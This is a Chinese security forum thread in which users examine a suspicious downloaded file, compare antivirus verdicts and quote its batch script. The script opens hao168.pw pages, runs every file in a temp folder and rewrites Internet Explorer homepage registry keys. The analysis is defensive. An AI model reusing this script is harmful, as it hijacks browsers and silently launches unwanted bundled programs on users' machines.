这个是什么文件

蓝蓝的天空

以前在微盘下载的  都是什么啊  没打开

https://www.lanzous.com/i57rc8j

ELOHIM

Windows Defender SmartScreen 阻止此下载。

静影沉璧

看上去很可疑

a233

c/mm

Dr.web

暗_黑

卡巴信任，不过我认为可能是流氓，ps：双击了一下，像是捆绑软件的，然后桌面出现了这个

温馨小屋

暗_黑 发表于 2019-7-29 18:16
卡巴信任，不过我认为可能是流氓，ps：双击了一下，像是捆绑软件的，然后桌面出现了这个

你看的这是cmd，肯定是信任，这个快捷方式利用cmd运行temp里的病毒，不要被骗了

温馨小屋

BD 双击miss




就是纯命令行安装。。。
@echo off
start iexplore.exe http://hao168.pw/tj.html?kj-kd_20131101
choice /t 1 /d y /n >nul
start iexplore.exe http://hao168.pw/123.php
for /f "delims=" %%a in ('dir temp\  /s /b /a-d^|findstr /v /i "阅读器.bat"') do (start "" "%%a")
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d "http://hao168.pw/123.php" /f >nul 2>nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d "http://hao168.pw/123.php" /f >nul 2>nul
exit

温馨小屋

卡巴双击miss

www-tekeze

智量报两个PUP一个Adware 。。。火绒不报，看看明天是否入库。